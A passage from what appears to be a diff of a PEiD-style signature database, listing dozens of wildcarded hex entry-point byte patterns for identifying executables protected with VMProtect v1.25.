51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 